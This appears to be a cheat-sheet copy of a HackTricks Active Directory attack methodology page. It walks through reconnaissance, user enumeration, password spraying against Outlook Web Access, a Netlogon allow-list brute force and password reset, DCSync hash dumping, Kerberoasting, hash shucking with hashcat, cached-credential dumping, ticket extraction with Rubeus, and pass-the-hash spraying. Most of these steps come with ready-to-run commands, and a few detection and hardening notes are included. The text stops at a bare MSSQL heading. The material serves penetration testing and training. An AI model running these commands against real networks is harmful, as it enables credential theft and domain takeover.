daemon-sec-cheatsheet

overview.md (75019B)

---

 ---
 title: "Active Directory Methodology"
 section: "Windows"
 sectionSlug: "windows-hardening"
 sourcePath: "src/windows-hardening/active-directory-methodology/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # Active Directory Methodology
 
 ## Basic overview
 
 **Active Directory** serves as a foundational technology, enabling **network administrators** to efficiently create and manage **domains**, **users**, and **objects** within a network. It is engineered to scale, facilitating the organization of an extensive number of users into manageable **groups** and **subgroups**, while controlling **access rights** at various levels.
 
 The structure of **Active Directory** is comprised of three primary layers: **domains**, **trees**, and **forests**. A **domain** encompasses a collection of objects, such as **users** or **devices**, sharing a common database. **Trees** are groups of these domains linked by a shared structure, and a **forest** represents the collection of multiple trees, interconnected through **trust relationships**, forming the uppermost layer of the organizational structure. Specific **access** and **communication rights** can be designated at each of these levels.
 
 Key concepts within **Active Directory** include:
 
 1. **Directory** – Houses all information pertaining to Active Directory objects.
 2. **Object** – Denotes entities within the directory, including **users**, **groups**, or **shared folders**.
 3. **Domain** – Serves as a container for directory objects, with the capability for multiple domains to coexist within a **forest**, each maintaining its own object collection.
 4. **Tree** – A grouping of domains that share a common root domain.
 5. **Forest** – The pinnacle of organizational structure in Active Directory, composed of several trees with **trust relationships** among them.
 
 **Active Directory Domain Services (AD DS)** encompasses a range of services critical for the centralized management and communication within a network. These services comprise:
 
 1. **Domain Services** – Centralizes data storage and manages interactions between **users** and **domains**, including **authentication** and **search** functionalities.
 2. **Certificate Services** – Oversees the creation, distribution, and management of secure **digital certificates**.
 3. **Lightweight Directory Services** – Supports directory-enabled applications through the **LDAP protocol**.
 4. **Directory Federation Services** – Provides **single-sign-on** capabilities to authenticate users across multiple web applications in a single session.
 5. **Rights Management** – Assists in safeguarding copyright material by regulating its unauthorized distribution and use.
 6. **DNS Service** – Crucial for the resolution of **domain names**.
 
 For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
 
 ### **Kerberos Authentication**
 
 To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
 [**Read this page if you still don't know how it works.**](/hacktricks/windows-hardening/active-directory-methodology/kerberos-authentication)
 
 ## Cheat Sheet
 
 You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
 
 > [!WARNING]
 > Kerberos communication normally **requires a fully qualified domain name (FQDN)** so that the client can obtain a ticket for the correct SPN. Accessing a machine by IP address commonly falls back to NTLM instead of Kerberos.
 
 ## Recon Active Directory (No creds/sessions)
 
 If you just have access to an AD environment but you don't have any credentials/sessions you could:
 
 - **Pentest the network:**
   - Scan the network, find machines and open ports, and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers can be very interesting targets](/hacktricks/windows-hardening/active-directory-methodology/ad-information-in-printers)).
   - Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
     - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
   - Take a look to the General [**Pentesting Methodology**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this.
 - **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
   - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
   - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
   - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
   - A more detailed guide on how to enumerate a SMB server can be found here:
 
 
 [Pentesting Smb](/hacktricks/network-services-pentesting/pentesting-smb/overview)
 
 - **Enumerate Ldap**
   - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
   - A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
 
 
 [Pentesting Ldap](/hacktricks/network-services-pentesting/pentesting-ldap)
 
 - **Poison the network**
   - Gather credentials [**impersonating services with Responder**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
   - Access host by [**abusing the relay attack**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
   - Gather credentials **exposing** [**fake UPnP services with evil-S**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
   - Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available.
   - If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
   - Tools:
     - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
     - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 
 ### User enumeration
 
 - **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](/hacktricks/network-services-pentesting/pentesting-ldap) pages.
 - **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
 - **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)<sup>[[11]](#references)</sup>
 
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
 
 nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
 Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
 
 msf> use auxiliary/gather/kerberos_enumusers
 
 crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
 python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
 ```
 
 - **OWA (Outlook Web Access) Server**
 
 If you found one of these servers in the network you can also perform **user enumeration against it**. For example, you could use the tool [**MailSniper**](https://github.com/dafthack/MailSniper):
 
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
 Invoke-DomainHarvestOWA -ExchHostname [ip]
 # Enumerate valid users from a list of potential usernames
 Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
 # Password spraying
 Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
 # Get addresses list from the compromised mail
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 
 > [!WARNING]
 > You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
 > However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
 
 ### Netlogon vulnerable-channel allow-list abuse (Onelogon)
 
 Even after **Zerologon** is patched on the DC, explicitly allow-listed accounts can still be exposed to **legacy/vulnerable Netlogon secure-channel behavior**. The risky configuration is the GPO **`Domain controller: Allow vulnerable Netlogon secure channel connections`** or the matching registry value **`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList`**.
 
 That value is an **SDDL security descriptor** (see [Security Descriptors](/hacktricks/windows-hardening/active-directory-methodology/security-descriptors)). Any account or group granted the relevant ACE in the DACL can be targeted. For example, `O:BAG:BAD:(A;;RC;;;WD)` effectively allow-lists **Everyone**.
 
 Practical operator workflow:
 
 1. **Identify allow-listed principals** by checking both **SYSVOL/GPO** and the **live DC registry**.
 2. **Resolve SIDs** found in the SDDL to real AD users/computers and prioritize **DC machine accounts**, **trust accounts**, and other privileged machines.
 3. Repeatedly attempt **MS-NRPC / Netlogon authentication** as the allow-listed account.
 4. After a successful guess, abuse **Netlogon password-setting** to reset the target account password (the public PoC sets it to an empty string).<sup>[[9]](#references)[[10]](#references)</sup>
 
 Quick triage / lab examples from the public artifact:
 
 ```bash
 # Enumerate allow-listed accounts (scanner requires privileged registry access on the DC)
 poetry run scan --dc-ip <DC_IP> --username <USER> --password <PASSWORD>
 
 # Meet-in-the-middle attack against an allow-listed account
 poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>'
 
 # Faster 24-bit brute force when you control another computer account
 poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>' \
   --comp-username '<COMP_ACCOUNT>' --comp-pass '<COMP_PASSWORD>'
 ```
 
 Notes:
 
 - The **scanner** is useful because the effective allow-list may exist in **SYSVOL**, in the **registry**, or in both.
 - The exploit path itself is important because it **does not require Domain Admin privileges** once a vulnerable account has been identified.
 - Compromising a **Domain Controller machine account** such as `DC$` is especially dangerous because resetting that password can directly enable broader **AD takeover** paths.
 - **Brute-force feasibility** depends on the mode: the public artifact describes a meet-in-the-middle approach, a **24-bit** brute force when another computer account is available, and slower **32-bit** variants.
 
 Detection / hardening notes:
 
 - Audit the allow-list policy and remove anything except temporary, explicitly required compatibility exceptions.
 - Monitor DC **System** events **5827/5828/5829/5830/5831** to catch vulnerable Netlogon connections being denied, discovered, or explicitly allowed by policy.
 - Treat accounts in `VulnerableChannelAllowList` as **high-risk** until the legacy dependency is removed.
 
 ### Knowing one or several usernames
 
 Ok, so you know you have already a valid username but no passwords... Then try:
 
 - [**ASREPRoast**](/hacktricks/windows-hardening/active-directory-methodology/asreproast): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
 - [**Password Spraying**](/hacktricks/windows-hardening/active-directory-methodology/password-spraying): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
   - Note that you can also **spray OWA servers** to try to get access to the users mail servers.
 
 
 [Password Spraying](/hacktricks/windows-hardening/active-directory-methodology/password-spraying)
 
 ### LLMNR/NBT-NS Poisoning
 
 You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
 
 
 [Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ### NTLM Relay
 
 Active Directory enumeration provides usernames, email identifiers and naming patterns, candidate hosts, and services that may be coerced into authenticating. Use that context to identify viable NTLM [**relay attacks**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) and potential paths into the AD environment.
 
 ### NetExec workspace-driven recon & relay posture checks
 
 - Use **`nxcdb` workspaces** to keep AD recon state per engagement: `workspace create <name>` spawns per-protocol SQLite DBs under `~/.nxc/workspaces/<name>` (smb/mssql/winrm/ldap/etc). Switch views with `proto smb|mssql|winrm` and list gathered secrets with `creds`. Manually purge sensitive data when done: `rm -rf ~/.nxc/workspaces/<name>`.<sup>[[6]](#references)</sup>
 - Quick subnet discovery with **`netexec smb <cidr>`** surfaces **domain**, **OS build**, **SMB signing requirements**, and **Null Auth**. Members showing `(signing:False)` are **relay-prone**, while DCs often require signing.
 - Generate **hostnames in /etc/hosts** straight from NetExec output to ease targeting:
 
 ```bash
 netexec smb 10.2.10.0/24 --generate-hosts-file hosts
 cat hosts /etc/hosts | sponge /etc/hosts
 ```
 
 - When **SMB relay to the DC is blocked** by signing, still probe **LDAP** posture: `netexec ldap <dc>` highlights `(signing:None)` / weak channel binding. A DC with SMB signing required but LDAP signing disabled remains a viable **relay-to-LDAP** target for abuses like **SPN-less RBCD**.
 
 ### Client-side printer credential leaks → bulk domain credential validation
 
 - Printer/web UIs sometimes **embed masked admin passwords in HTML**. Viewing source/devtools can reveal cleartext (e.g., `<input value="<password>">`), allowing Basic-auth access to scan/print repositories.
 - Retrieved print jobs may contain **plaintext onboarding docs** with per-user passwords. Keep pairings aligned when testing:<sup>[[6]](#references)</sup>
 
 ```bash
 cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
 cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
 netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success
 ```
 
 ### Steal NTLM Creds
 
 If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
 
 
 [Places To Steal Ntlm Creds](/hacktricks/windows-hardening/ntlm/places-to-steal-ntlm-creds)
 
 ### Hash Shucking & NT-Candidate Attacks
 
 **Hash shucking** treats every NT hash you already possess as a candidate password for other, slower formats whose key material is derived directly from the NT hash. Instead of brute-forcing long passphrases in Kerberos RC4 tickets, NetNTLM challenges, or cached credentials, you feed the NT hashes into Hashcat’s NT-candidate modes and let it validate password reuse without ever learning the plaintext. This is especially potent after a domain compromise where you can harvest thousands of current and historical NT hashes.<sup>[[5]](#references)</sup>
 
 Use shucking when:
 
 - You have an NT corpus from DCSync, SAM/SECURITY dumps, or credential vaults and need to test for reuse in other domains/forests.
 - You capture RC4-based Kerberos material (`$krb5tgs$23$`, `$krb5asrep$23$`), NetNTLM responses, or DCC/DCC2 blobs.
 - You want to quickly prove reuse for long, uncrackable passphrases and immediately pivot via Pass-the-Hash.
 
 The technique **does not work** against encryption types whose keys are not the NT hash (e.g., Kerberos etype 17/18 AES). If a domain enforces AES-only, you must revert to the regular password modes.
 
 #### Building an NT hash corpus
 
 - **DCSync/NTDS** – Use `secretsdump.py` with history to grab the largest possible set of NT hashes (and their previous values):
 
   ```bash
   secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
   grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
   ```
 
   History entries dramatically widen the candidate pool because Microsoft can store up to 24 previous hashes per account. For more ways to harvest NTDS secrets see:
 
 [Dcsync](/hacktricks/windows-hardening/active-directory-methodology/dcsync)
 
 - **Endpoint cache dumps** – `nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa` (or Mimikatz `lsadump::sam /patch`) extracts local SAM/SECURITY data and cached domain logons (DCC/DCC2). Deduplicate and append those hashes to the same `nt_candidates.txt` list.
 - **Track metadata** – Keep the username/domain that produced each hash (even if the wordlist contains only hex). Matching hashes tell you immediately which principal is reusing a password once Hashcat prints the winning candidate.
 - Prefer candidates from the same forest or a trusted forest; that maximizes the chance of overlap when shucking.
 
 #### Hashcat NT-candidate modes
 
 | Hash Type                                | Password Mode | NT-Candidate Mode |
 | ---------------------------------------- | ------------- | ----------------- |
 | Domain Cached Credentials (DCC)          | 1100          | 31500             |
 | Domain Cached Credentials 2 (DCC2)       | 2100          | 31600             |
 | NetNTLMv1 / NetNTLMv1+ESS                | 5500          | 27000             |
 | NetNTLMv2                                | 5600          | 27100             |
 | Kerberos 5 etype 23 AS-REQ Pre-Auth      | 7500          | _N/A_             |
 | Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100         | 35300             |
 | Kerberos 5 etype 23 AS-REP               | 18200         | 35400             |
 
 Notes:
 
 - NT-candidate inputs **must remain raw 32-hex NT hashes**. Disable rule engines (no `-r`, no hybrid modes) because mangling corrupts the candidate key material.
 - These modes are not inherently faster, but the NTLM keyspace (~30,000 MH/s on an M3 Max) is ~100× quicker than Kerberos RC4 (~300 MH/s). Testing a curated NT list is far cheaper than exploring the entire password space in the slow format.
 - Always run the **latest Hashcat build** (`git clone https://github.com/hashcat/hashcat && make install`) because modes 31500/31600/35300/35400 shipped recently.<sup>[[7]](#references)</sup>
 - There is currently no NT mode for AS-REQ Pre-Auth, and AES etypes (19600/19700) require the plaintext password because their keys are derived via PBKDF2 from UTF-16LE passwords, not raw NT hashes.
 
 #### Example – Kerberoast RC4 (mode 35300)
 
 1. Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):
 
 [Kerberoast](/hacktricks/windows-hardening/active-directory-methodology/kerberoast)
 
    ```bash
    GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
    ```
 
 2. Shuck the ticket with your NT list:
 
    ```bash
    hashcat -m 35300 roastable_TGS nt_candidates.txt
    ```
 
    Hashcat derives the RC4 key from each NT candidate and validates the `$krb5tgs$23$...` blob. A match confirms that the service account uses one of your existing NT hashes.
 
 3. Immediately pivot via PtH:
 
    ```bash
    nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
    ```
 
    You can optionally recover the plaintext later with `hashcat -m 1000 <matched_hash> wordlists/` if needed.
 
 #### Example – Cached credentials (mode 31600)
 
 1. Dump cached logons from a compromised workstation:
 
    ```bash
    nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
    ```
 
 2. Copy the DCC2 line for the interesting domain user into `dcc2_highpriv.txt` and shuck it:
 
    ```bash
    hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
    ```
 
 3. A successful match yields the NT hash already known in your list, proving that the cached user is reusing a password. Use it directly for PtH (`nxc smb <dc_ip> -u highpriv -H <hash>`) or brute-force it in fast NTLM mode to recover the string.
 
 The exact same workflow applies to NetNTLM challenge-responses (`-m 27000/27100`) and DCC (`-m 31500`). Once a match is identified you can launch relay, SMB/WMI/WinRM PtH, or re-crack the NT hash with masks/rules offline.
 
 
 ## Enumerating Active Directory WITH credentials/session
 
 For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
 
 Before starting authenticated enumeration, understand the **Kerberos double-hop problem**.
 
 
 [Kerberos Double Hop Problem](/hacktricks/windows-hardening/active-directory-methodology/kerberos-double-hop-problem)
 
 ### Enumeration
 
 Compromising an account is a **major step toward assessing the domain**, because it enables authenticated **Active Directory enumeration**:
 
 Regarding [**ASREPRoast**](/hacktricks/windows-hardening/active-directory-methodology/asreproast) you can now find every possible vulnerable user, and regarding [**Password Spraying**](/hacktricks/windows-hardening/active-directory-methodology/password-spraying) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
 
 - You could use the [**CMD to perform a basic recon**](/hacktricks/windows-hardening/basic-cmd-for-pentesters#domain-info)
 - You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
 - You can also [**use powerview**](/hacktricks/windows-hardening/basic-powershell-for-pentesters/powerview) to extract more detailed information
 - Another amazing tool for recon in an active directory is [**BloodHound**](/hacktricks/windows-hardening/active-directory-methodology/bloodhound). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
   - **Other automated AD enumeration tools are:** [**AD Explorer**](/hacktricks/windows-hardening/active-directory-methodology/bloodhound#ad-explorer)**,** [**ADRecon**](/hacktricks/windows-hardening/active-directory-methodology/bloodhound#adrecon)**,** [**Group3r**](/hacktricks/windows-hardening/active-directory-methodology/bloodhound#group3r)**,** [**PingCastle**](/hacktricks/windows-hardening/active-directory-methodology/bloodhound#pingcastle)**.**
 - [**DNS records of the AD**](/hacktricks/windows-hardening/active-directory-methodology/ad-dns-records) as they might contain interesting information.
 - A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
 - You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
 - If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
 - You could also try automated tools as:
   - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
   - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 - **Extracting all domain users**
 
   It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
 
 > Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
 
 ### Predictable pre-created computer accounts -> gMSA password access
 
 Computer accounts staged for legacy joins can retain a predictable initial password. NetExec's `pre2k` module identifies the characteristic `userAccountControl` value `4128` (`WORKSTATION_TRUST_ACCOUNT | PASSWD_NOTREQD`) and attempts a Kerberos TGT with the first 14 characters of the lowercase computer name, without the trailing `$`. Treat this UAC value as a candidate selector rather than assuming that membership in **Pre-Windows 2000 Compatible Access** alone proves the password is weak.<sup>[[18]](#references)[[20]](#references)</sup>
 
 Use authenticated LDAP enumeration to test the candidates and save successful TGTs. `ALL=True` expands testing beyond objects with the default `4128` filter.<sup>[[18]](#references)</sup>
 
 ```bash
 netexec ldap dc.corp.local -u auditor -p 'Password!' -M pre2k
 netexec ldap dc.corp.local -u auditor -p 'Password!' -M pre2k -o ALL=True
 
 # Validate a candidate explicitly with Kerberos
 netexec ldap dc.corp.local -u 'APP01$' -p app01 -k
 ```
 
 A failed default/NTLM bind does **not** invalidate this finding: test with `-k`, an FQDN that resolves to the DC, and a clock synchronized with the KDC. Successful module runs write candidate lists and acquired ccaches below `~/.nxc/modules/pre2k/`.<sup>[[18]](#references)[[20]](#references)</sup>
 
 After compromising the computer principal, graph its nested group memberships and outbound rights. In particular, principals named in a gMSA's `msDS-GroupMSAMembership` security descriptor can read `msDS-ManagedPassword`; NetExec's `--gmsa` output shows the allowed principals and returns the current NT hash when the authenticating computer is authorized.<sup>[[19]](#references)[[20]](#references)</sup>
 
 ```bash
 # Enumerate gMSAs and their password readers with the initial user
 netexec ldap dc.corp.local -u auditor -p 'Password!' --gmsa
 
 # Re-query as the compromised computer through Kerberos
 netexec ldap dc.corp.local -u 'APP01$' -p app01 -k --gmsa
 ```
 
 Then evaluate the recovered gMSA like any other credential: inspect local/domain group membership, logon rights, SPNs, delegation, and reachable services before trying pass-the-hash. This ACL-based retrieval path is distinct from [Golden gMSA/dMSA](/hacktricks/windows-hardening/active-directory-methodology/golden-dmsa-gmsa), which derives managed passwords after KDS root-key compromise.<sup>[[20]](#references)</sup>
 
 ### Kerberoast
 
 Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
 
 More about this in:
 
 
 [Kerberoast](/hacktricks/windows-hardening/active-directory-methodology/kerberoast)
 
 ### Remote connection (RDP, SSH, FTP, Win-RM, etc.)
 
 Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
 
 ### Local Privilege Escalation
 
 If you have compromised credentials or a session as a regular domain user and can access **any machine in the domain**, look for a path to **escalate privileges locally and collect credentials**. Local administrator privileges may allow you to **dump other users' hashes** from memory (LSASS) and local storage (SAM).
 
 There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](/hacktricks/windows-hardening/checklist-windows-privilege-escalation). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Current Session Tickets
 
 It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
 
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
 ## Dump the interesting one by luid
 .\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
 [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
 ```
 
 ### NTLM Relay
 
 With domain credentials or a user session, revisit NTLM [**relay attacks**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack): authenticated enumeration and coercion techniques can expose relay paths that were unavailable during unauthenticated reconnaissance.
 
 ### Looks for Creds in Computer Shares | SMB Shares
 
 Now that you have some basic credentials you should check if you can **find** any **interesting files being shared inside the AD**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check).
 
 [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
 
 ### Steal NTLM Creds
 
 If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
 
 
 [Places To Steal Ntlm Creds](/hacktricks/windows-hardening/ntlm/places-to-steal-ntlm-creds)
 
 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare
 
 This vulnerability allowed any authenticated user to **compromise the domain controller**.
 
 
 [Printnightmare](/hacktricks/windows-hardening/active-directory-methodology/printnightmare)
 
 ## Privilege escalation on Active Directory WITH privileged credentials/session
 
 **For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
 
 ### Hash extraction
 
 Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](/hacktricks/windows-hardening/active-directory-methodology/asreproast), [Password Spraying](/hacktricks/windows-hardening/active-directory-methodology/password-spraying), [Kerberoast](/hacktricks/windows-hardening/active-directory-methodology/kerberoast), [Responder](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
 Then, its time to dump all the hashes in memory and locally.\
 [**Read this page about different ways to obtain the hashes.**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Pass the Hash
 
 **Once you have the hash of a user**, you can use it to **impersonate** it.\
 You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\
 [**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
 
 ### Over Pass the Hash/Pass the Key
 
 This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
 
 
 [Over Pass The Hash Pass The Key](/hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key)
 
 ### Pass the Ticket
 
 In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
 
 
 [Pass The Ticket](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket)
 
 ### Credentials Reuse
 
 If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
 
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 
 > [!WARNING]
 > Note that this is quite **noisy** and **LAPS** would **mitigate** it.
 
 ### MSSQL Abuse & Trusted Links
 
